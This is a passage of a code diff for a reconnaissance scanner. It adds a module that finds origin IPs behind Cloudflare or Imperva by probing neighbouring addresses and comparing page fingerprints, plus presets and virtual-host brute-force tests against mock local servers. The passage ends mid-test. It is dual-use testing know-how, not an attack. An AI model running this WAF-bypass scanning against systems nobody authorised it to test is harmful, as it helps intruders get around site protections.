Track protected domains and their potential bypass CIDRs + self.protected_domains = {} # {domain: event} - track protected domains and store their parent events + self.domain_ip_map = {} # {full_domain: set(ips)} - track all IPs for each domain + self.content_fingerprints = {} # {url: {simhash, http_code}} - track the content fingerprints for each URL + self.similarity_threshold = self.config.get("similarity_threshold", 0.90) + self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) + self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) + + if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): + self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") + return False + # Keep track of (protected_domain, ip) pairs we have already attempted to bypass + self.attempted_bypass_pairs = set() + # Keep track of any IPs that came from hosts that are "cloud-ips" + self.cloud_ips = set() + return True + + async def filter_event(self, event): + if "endpoint" in event.tags: + return False, "WAF bypass module only considers directory URLs" + return True + + async def handle_event(self, event): + domain = str(event.host) + url = str(event.data) + + # Store the IPs that each domain (that came from a URL event) resolves to. We have to resolve ourself, since normal BBOT DNS resolution doesn't keep ALL the IPs + domain_dns_response = await self.helpers.dns.resolve(domain) + if domain_dns_response: + if domain not in self.domain_ip_map: + self.domain_ip_map[domain] = set() + for ip in domain_dns_response: + ip_str = str(ip) + # Validate that this is actually an IP address before storing + if self.helpers.is_ip(ip_str): + self.domain_ip_map[domain].add(ip_str) + self.debug(f"Mapped domain {domain} to IP {ip_str}") + if "cloud-ip" in event.tags: + self.cloud_ips.add(ip_str) + self.debug(f"Added cloud-ip {ip_str} to cloud_ips") + else: + self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}") + else: + self.warning(f"DNS resolution failed for {domain}") + + # Detect WAF/CDN protection based on tags + provider_name = None + if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags: + provider_name = "CloudFlare" + elif "cdn-imperva" in event.tags: + provider_name = "Imperva" + + is_protected = provider_name is not None + + if is_protected: + self.debug(f"{provider_name} protection detected via tags: {event.tags}") + # Save the full domain and event for WAF-protected URLs, this is necessary to find the appropriate parent event later in .finish() + self.protected_domains[domain] = event + self.debug(f"Found {provider_name}-protected domain: {domain}") + + curl_response = await self.get_url_content(url) + if not curl_response: + self.debug(f"Failed to get response from protected URL {url}") + return + + if not curl_response["response_data"]: + self.debug(f"Failed to get content from protected URL {url}") + return + + # Store a "simhash" (fuzzy hash) of the response data for later comparison + simhash = await self.helpers.run_in_executor_mp(compute_simhash, curl_response["response_data"]) + + self.content_fingerprints[url] = { + "simhash": simhash, + "http_code": curl_response["http_code"], + } + self.debug( + f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" + ) + + async def get_url_content(self, url, ip=None): + """Helper function to fetch content from a URL, optionally through specific IP""" + try: + if ip: + # Build resolve dict for curl helper + host_tuple = self.helpers.extract_host(url) + if not host_tuple[0]: + self.warning(f"Failed to extract host from URL: {url}") + return None + host = host_tuple[0] + + # Determine port from scheme (default 443/80) or explicit port in URL + try: + from urllib.parse import urlparse + + parsed = urlparse(url) + port = parsed.port or (443 if parsed.scheme == "https" else 80) + except Exception: + port = 443 # safe default for https + + self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") + + curl_response = await self.helpers.web.curl( + url=url, + resolve={"host": host, "port": port, "ip": ip}, + ) + + if curl_response: + return curl_response + else: + self.debug(f"curl returned no content for {url} via IP {ip}") + else: + response = await self.helpers.web.curl(url=url) + if not response: + self.debug(f"No response received from {url}") + return None + elif response.get("http_code", 0) in [200, 301, 302, 500]: + return response + else: + self.debug( + f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" + ) + return None + except Exception as e: + self.debug(f"Error fetching content from {url}: {str(e)}") + return None + + async def check_ip(self, ip, source_domain, protected_domain, source_event): + matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) + + if not matching_url: + self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") + return None + + original_response = self.content_fingerprints.get(matching_url) + if not original_response: + self.debug(f"did not get original response for {matching_url}") + return None + + self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}") + + bypass_response = await self.get_url_content(matching_url, ip) + bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response["response_data"]) + if not bypass_response: + self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") + return None + + if original_response["http_code"] != bypass_response["http_code"]: + self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response['http_code']}") + return None + + is_redirect = False + if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: + is_redirect = True + + similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash) + + # For redirects, require exact match (1.0), otherwise use configured threshold + required_threshold = 1.0 if is_redirect else self.similarity_threshold + return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None + + async def finish(self): + self.verbose(f"Found {len(self.protected_domains)} Protected Domains") + + confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] + ip_bypass_candidates = {} # {ip: domain} + waf_ips = set() + + # First collect all the WAF-protected DOMAINS we've seen + for protected_domain in self.protected_domains: + if protected_domain in self.domain_ip_map: + waf_ips.update(self.domain_ip_map[protected_domain]) + + # Then collect all the non-WAF-protected IPs we've seen + for domain, ips in self.domain_ip_map.items(): + self.debug(f"Checking IP {ips} from domain {domain}") + if domain not in self.protected_domains: # If it's not a protected domain + for ip in ips: + # Validate that this is actually an IP address before processing + if not self.helpers.is_ip(ip): + self.warning(f"Skipping non-IP address '{ip}' found in domain_ip_map for {domain}") + continue + + if ip not in waf_ips: # And IP isn't a known WAF IP + ip_bypass_candidates[ip] = domain + self.debug(f"Added potential bypass IP {ip} from domain {domain}") + + # if we have IP neighbors searching enabled, and the IP isn't a cloud IP, we can add the IP neighbors to our list of potential bypasses + if self.search_ip_neighbors and ip not in self.cloud_ips: + import ipaddress + + # Get the ASN data for the IP - used later to keep brute force from crossing ASN boundaries + asn_data = await self.helpers.asn.ip_to_subnets(str(ip)) + if asn_data: + # Build a radix tree of the ASN subnets for the IP + asn_subnets_tree = IPRadixTree() + for subnet in asn_data["subnets"]: + asn_subnets_tree.insert(subnet, data=True) + + # Generate a network based on the neighbor_cidr option + neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) + for neighbor_ip in neighbor_net.hosts(): + neighbor_ip_str = str(neighbor_ip) + # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list + if ( + neighbor_ip_str == ip + or neighbor_ip_str in waf_ips + or neighbor_ip_str in ip_bypass_candidates + ): + continue + + # make sure we aren't crossing an ASN boundary with our neighbor exploration + if asn_subnets_tree.get_node(neighbor_ip_str): + self.debug( + f"Added Neighbor IP ({ip} -> {neighbor_ip_str}) as potential bypass IP derived from {domain}" + ) + ip_bypass_candidates[neighbor_ip_str] = domain + else: + self.debug(f"IP {ip} is in WAF IPS so we don't check as potential bypass") + + self.verbose(f"\nFound {len(ip_bypass_candidates)} non-WAF IPs to check") + + coros = [] + new_pairs_count = 0 + + for protected_domain, source_event in self.protected_domains.items(): + for ip, src in ip_bypass_candidates.items(): + combo = (protected_domain, ip) + if combo in self.attempted_bypass_pairs: + continue + self.attempted_bypass_pairs.add(combo) + new_pairs_count += 1 + self.debug(f"Checking {ip} for {protected_domain} from {src}") + coros.append(self.check_ip(ip, src, protected_domain, source_event)) + + self.verbose( + f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..." + ) + + self.debug(f"about to start {len(coros)} coroutines") + async for completed in self.helpers.as_completed(coros): + result = await completed + if result: + confirmed_bypasses.append(result) + + if confirmed_bypasses: + # Aggregate by URL and similarity + agg = {} + for matching_url, ip, similarity, src_evt in confirmed_bypasses: + rec = agg.setdefault((matching_url, similarity), {"ips": [], "event": src_evt}) + rec["ips"].append(ip) + + for (matching_url, sim_key), data in agg.items(): + ip_list = data["ips"] + ip_list_str = ", ".join(sorted(set(ip_list))) + await self.emit_event( + { + "severity": "MEDIUM", + "url": matching_url, + "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}", + }, + "VULNERABILITY", + data["event"], + ) diff --git a/bbot/presets/waf-bypass.yml b/bbot/presets/waf-bypass.yml new file mode 100644 index 0000000000..801782538b --- /dev/null +++ b/bbot/presets/waf-bypass.yml @@ -0,0 +1,19 @@ +description: WAF bypass detection with subdomain enumeration + +flags: + # enable subdomain enumeration to find potential bypass targets + - subdomain-enum + +modules: + # explicitly enable the waf_bypass module for detection + - waf_bypass + # ensure httpx is enabled for web probing + - httpx + +config: + # waf_bypass module configuration + modules: + waf_bypass: + similarity_threshold: 0.90 + search_ip_neighbors: true + neighbor_cidr: 24 \ No newline at end of file diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml new file mode 100644 index 0000000000..f195a6591a --- /dev/null +++ b/bbot/presets/web/virtualhost-heavy.yml @@ -0,0 +1,16 @@ +description: Scan heavily for virtual hosts, with a focus on discovering as many valid virtual hosts as possible + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: False + wordcloud_check: True + subdomain_brute: True + mutation_check: True + special_hosts: True + certificate_sans: True + diff --git a/bbot/presets/web/virtualhost-light.yml b/bbot/presets/web/virtualhost-light.yml new file mode 100644 index 0000000000..70f5fcde40 --- /dev/null +++ b/bbot/presets/web/virtualhost-light.yml @@ -0,0 +1,16 @@ +description: Scan for virtual hosts, with a focus on hidden normally not accessible content + +modules: + - httpx + - virtualhost + +config: + modules: + virtualhost: + require_inaccessible: True + wordcloud_check: False + subdomain_brute: False + mutation_check: True + special_hosts: False + certificate_sans: True + diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py new file mode 100644 index 0000000000..55ac0f4b2a --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -0,0 +1,892 @@ +from .base import ModuleTestBase, tempwordlist +import re +from werkzeug.wrappers import Response + + +class VirtualhostTestBase(ModuleTestBase): + """Base class for virtualhost tests with common setup""" + + async def setup_before_prep(self, module_test): + # Fix randomness for predictable canary generation + module_test.monkeypatch.setattr("random.seed", lambda x: None) + import string + + def predictable_choice(seq): + return seq[0] if seq == string.ascii_lowercase else seq[0] + + module_test.monkeypatch.setattr("random.choice", predictable_choice) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + +class TestVirtualhostSpecialHosts(VirtualhostTestBase): + """Test special hosts detection""" + + targets = ["http://localhost:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on special hosts only + "mutation_check": False, # Focus on special hosts only + "special_hosts": True, # Enable special hosts + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_special" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://localhost:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_special"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved_hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to localhost (with or without port) + if not host_header or host_header in ["localhost", "localhost:8888"]: + return Response("baseline response from localhost", status=200) + + # Wildcard canary check + if re.match(r"[a-z]ocalhost(?::8888)?$", host_header): + return Response("different wildcard response", status=404) + + # Random canary requests (12 lowercase letters .com) + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) + + # Special hosts responses - return different content than canary + if host_header == "host.docker.internal": + return Response("Docker internal host active", status=200) + if host_header == "127.0.0.1": + return Response("Loopback host active", status=200) + if host_header == "localhost": + return Response("Localhost virtual host active", status=200) + + # Default for any other requests - match canary content to avoid false positives + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) + + def check(self, module_test, events): + special_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["host.docker.internal", "127.0.0.1", "localhost"]: + special_hosts_found.add(vhost) + + # Test description elements to ensure they are as expected + description = e.data["description"] + assert ( + "Discovery Technique: [Special virtual host list" in description + or "Discovery Technique: [Mutations on discovered" in description + ), f"Description missing or unexpected discovery technique: {description}" + assert "Status Code:" in description, f"Description missing status code: {description}" + assert "Size:" in description and "bytes" in description, ( + f"Description missing size: {description}" + ) + assert "IP: 127.0.0.1" in description, f"Description missing IP: {description}" + assert "Access:" in description, f"Description missing access status: {description}" + + assert len(special_hosts_found) >= 1, f"Failed to detect special virtual hosts. Found: {special_hosts_found}" + + +class TestVirtualhostBruteForce(VirtualhostTestBase): + """Test subdomain brute-force detection using HTTP Host headers""" + + targets = ["http://test.example:8888"] + modules_overrides = ["virtualhost"] # Remove httpx, we'll manually create URL events + test_wordlist = ["admin", "api", "test"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "subdomain_brute": True, # Enable brute force + "mutation_check": False, # Focus on brute force only + "special_hosts": False, # Focus on brute force only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for test.example to resolve to 127.0.0.1 + await module_test.mock_dns({"test.example": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://test.example:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + from werkzeug.wrappers import Response + + host_header = request.headers.get("Host", "").lower() + + # Baseline request to test.example or example (with or without port) + if not host_header or host_header in ["test.example", "test.example:8888", "example", "example:8888"]: + return Response("baseline response from example baseline", status=200) + + # Wildcard canary check - change one character in test.example + if re.match(r"[a-z]est\.example", host_header): + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .test.example (with optional port) + if re.match(r"^[a-z]{12}\.test\.example(?::8888)?$", host_header): + return Response("subdomain canary response", status=404) + + # Brute-force matches on discovered basehost (admin|api|test).test.example (with optional port) + if host_header in ["admin.test.example", "admin.test.example:8888"]: + return Response("Admin panel found here!", status=200) + if host_header in ["api.test.example", "api.test.example:8888"]: + return Response("API endpoint found here!", status=200) + if host_header in ["test.test.example", "test.test.example:8888"]: + return Response("Test environment found here!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + brute_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.test.example", "api.test.example", "test.test.example"]: + brute_hosts_found.add(vhost) + + assert len(brute_hosts_found) >= 1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}" + + +class TestVirtualhostMutations(VirtualhostTestBase): + """Test host mutation detection using HTTP Host headers""" + + targets = ["http://subdomain.target.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on mutations only + "mutation_check": True, # Enable mutations + "special_hosts": False, # Focus on mutations only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Mock wordcloud.mutations to return predictable results for "target" + def mock_mutations(self, word, **kwargs): + # Return realistic mutations that would be found for "target" + return [ + [word, "dev"], # targetdev, target-dev + ["dev", word], # devtarget, dev-target + [word, "test"], # targettest, target-test + ] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Set up DNS mocking for target.test + await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_mut" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://subdomain.target.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_mut"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to target.test (with or without port) + if not host_header or host_header in ["subdomain.target.test", "subdomain.target.test:8888"]: + return Response("baseline response from target.test", status=200) + + # Wildcard canary check + if re.match(r"[a-z]subdomain\.target\.test(?::8888)?$", host_header): # Modified target.test + return Response("wildcard canary response", status=404) + + # Mutation canary requests (4 chars + dash + original host) + if re.match(r"^[a-z]{4}-subdomain\.target\.test(?::8888)?$", host_header): + return Response("Mutation Canary", status=404) + + # Word cloud mutation matches - return different content than canary + if host_header == "subdomain-dev.target.test": + return Response("Dev target 1 found!", status=200) + if host_header == "devsubdomain.target.test": + return Response("Dev target 2 found!", status=200) + if host_header == "subdomaintest.target.test": + return Response("Test target found!", status=200) + + # Default response + return Response( + """\n404 Not Found

Not Found

Default handler response.

""", + status=404, + ) + + def check(self, module_test, events): + mutation_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + # Look for mutation patterns with dev/test + if any(word in vhost for word in ["dev", "test"]) and "target" in vhost: + mutation_hosts_found.add(vhost) + + assert len(mutation_hosts_found) >= 1, ( + f"Failed to detect mutation virtual hosts. Found: {mutation_hosts_found}" + ) + + +class TestVirtualhostWordcloud(VirtualhostTestBase): + """Test finish() wordcloud-based detection using HTTP Host headers""" + + targets = ["http://wordcloud.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on wordcloud only + "mutation_check": False, # Focus on wordcloud only + "special_hosts": False, # Focus on wordcloud only + "certificate_sans": False, + "wordcloud_check": True, # Enable wordcloud + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Set up DNS mocking for wordcloud.test + await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}}) + + # Mock wordcloud to have some common words + def mock_wordcloud_keys(self): + return ["staging", "prod", "dev", "admin", "api"] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_wc" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://wordcloud.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_wc"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to wordcloud.test (with or without port) + if not host_header or host_header in ["wordcloud.test", "wordcloud.test:8888"]: + return Response("baseline response from wordcloud.test", status=200) + + # Wildcard canary check + if re.match(r"[a-z]ordcloud\.test(?::8888)?$", host_header): # Modified wordcloud.test + return Response("wildcard canary response", status=404) + + # Random canary requests (12 chars + .com) + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): + return Response("random canary response", status=404) + + # Wordcloud-based matches - these are checked in finish() + if host_header in ["staging.wordcloud.test", "staging.wordcloud.test:8888"]: + return Response("Staging environment found!", status=200) + if host_header in ["prod.wordcloud.test", "prod.wordcloud.test:8888"]: + return Response("Production environment found!", status=200) + if host_header in ["dev.wordcloud.test", "dev.wordcloud.test:8888"]: + return Response("Development environment found!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + wordcloud_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["staging.wordcloud.test", "prod.wordcloud.test", "dev.wordcloud.test"]: + wordcloud_hosts_found.add(vhost) + + assert len(wordcloud_hosts_found) >= 1, ( + f"Failed to detect wordcloud virtual hosts. Found: {wordcloud_hosts_found}" + ) + + +class TestVirtualhostHTTPSLogic(ModuleTestBase): + """Unit tests for HTTPS/SNI-specific functions""" + + targets = ["http://localhost:8888"] # Minimal target for unit testing + modules_overrides = ["httpx", "virtualhost"] + + async def setup_before_prep(self, module_test): + pass # No special setup needed + + async def setup_after_prep(self, module_test): + pass # No HTTP mocking needed for unit tests + + def check(self, module_test, events): + # Get the virtualhost module instance for direct testing + virtualhost_module = None + for module in module_test.scan.modules.values(): + if hasattr(module, "special_virtualhost_list"): + virtualhost_module = module + break + + assert virtualhost_module is not None, "Could not find virtualhost module instance" + + # Test canary host generation for different modes + canary_subdomain = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "subdomain") + canary_mutation = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "mutation") + canary_random = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "random") + + # Verify canary patterns + assert canary_subdomain.endswith(".example.com"), ( + f"Subdomain canary doesn't end with basehost: {canary_subdomain}" + ) + assert "-test.example.com" in canary_mutation, ( + f"Mutation canary doesn't contain expected pattern: {canary_mutation}" + ) + assert canary_random.endswith(".com"), f"Random canary doesn't end with .com: {canary_random}" + + # Test that all canaries are different + assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different" + + +class TestVirtualhostForceBasehost(VirtualhostTestBase): + """Test force_basehost functionality specifically""" + + targets = ["http://127.0.0.1:8888"] # Use IP to require force_basehost + modules_overrides = ["httpx", "virtualhost"] + test_wordlist = ["admin", "api"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "force_basehost": "forced.domain", # Test force_basehost functionality + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from IP", status=200) + + # Wildcard canary check + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): + return Response("wildcard canary response", status=404) + + # Subdomain canary (12 random chars + .forced.domain) + if re.match(r"[a-z]{12}\.forced\.domain", host_header): + return Response("forced domain canary response", status=404) + + # Virtual hosts using forced basehost + if host_header == "admin.forced.domain": + return Response("Admin with forced basehost found!", status=200) + if host_header == "api.forced.domain": + return Response("API with forced basehost found!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + forced_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.forced.domain", "api.forced.domain"]: + forced_hosts_found.add(vhost) + + # Verify the description shows it used the forced basehost + description = e.data["description"] + assert "Subdomain Brute-force" in description, ( + f"Expected subdomain brute-force discovery: {description}" + ) + + assert len(forced_hosts_found) >= 1, ( + f"Failed to detect virtual hosts with force_basehost. Found: {forced_hosts_found}. " + f"Expected at least one of: admin.forced.domain, api.forced.domain" + ) + + +class TestVirtualhostInterestingDefaultContent(VirtualhostTestBase): + """Test reporting of interesting default canary content during wildcard check""" + + targets = ["http://interesting.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "report_interesting_default_content": True, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server + await super().setup_after_prep(module_test) + + # Mock DNS resolution for interesting.test + await module_test.mock_dns({"interesting.test": {"A": ["127.0.0.1"]}}) + + # Dummy module to emit the URL event for the virtualhost module + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_interesting" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://interesting.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_interesting"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host (ensure status differs from canary) + if not host_header or host_header in ["interesting.test", "interesting.test:8888"]: + return Response("baseline not found", status=404) + + # Wildcard canary mutated hostname: change first alpha to 'z' -> znteresting.test + if host_header in ["znteresting.test", "znteresting.test:8888"]: + long_body = ( + "This is a sufficiently long default page body that exceeds forty characters " + "to trigger the interesting default content branch." + ) + return Response(long_body, status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_interesting = False + found_correct_host = False + for e in events: + if e.type == "VIRTUAL_HOST": + desc = e.data.get("description", "") + if "Interesting Default Content (from intentionally-incorrect canary host)" in desc: + found_interesting = True + # The VIRTUAL_HOST should be the canary hostname used in the wildcard request + if e.data.get("virtual_host") == "znteresting.test": + found_correct_host = True + break + + assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted" + assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'" + + +class TestVirtualhostKeywordWildcard(VirtualhostTestBase): + """Test keyword-based wildcard detection using 'www' in hostname""" + + targets = ["http://acme.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + # Keep brute_lines small and supply a tiny wordlist containing a 'www' entry and an exact match + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server with wildcard behavior for any hostname containing 'www' + await super().setup_after_prep(module_test) + + # Mock DNS resolution for acme.test + await module_test.mock_dns({"acme.test": {"A": ["127.0.0.1"]}}) + + # Provide a tiny custom wordlist containing 'wwwfoo' and 'admin' so that: + # - 'wwwfoo' would be a false positive without the keyword-based wildcard detection + # - 'admin' will be an exact match we deliberately allow via the response handler + from .base import tempwordlist + + words = ["wwwfoo", "admin"] + wl = tempwordlist(words) + + # Patch virtualhost to use our custom wordlist and inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + original_setup = vh_module.setup + + async def patched_setup(): + await original_setup() + vh_module.brute_wordlist = wl + return True + + module_test.monkeypatch.setattr(vh_module, "setup", patched_setup) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_keyword" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://acme.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_keyword"] = DummyModule(module_test.scan) + + # Inject resolved hosts for the URL + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host + if not host_header or host_header in ["acme.test", "acme.test:8888"]: + return Response("baseline not found", status=404) + + # If hostname contains 'www' anywhere, return the same body as baseline (simulating keyword wildcard) + if "www" in host_header: + return Response("baseline not found", status=404) + + # Exact-match virtual host that should still be detected + if host_header in ["admin.acme.test", "admin.acme.test:8888"]: + return Response("Admin portal", status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_admin = False + found_www = False + for e in events: + if 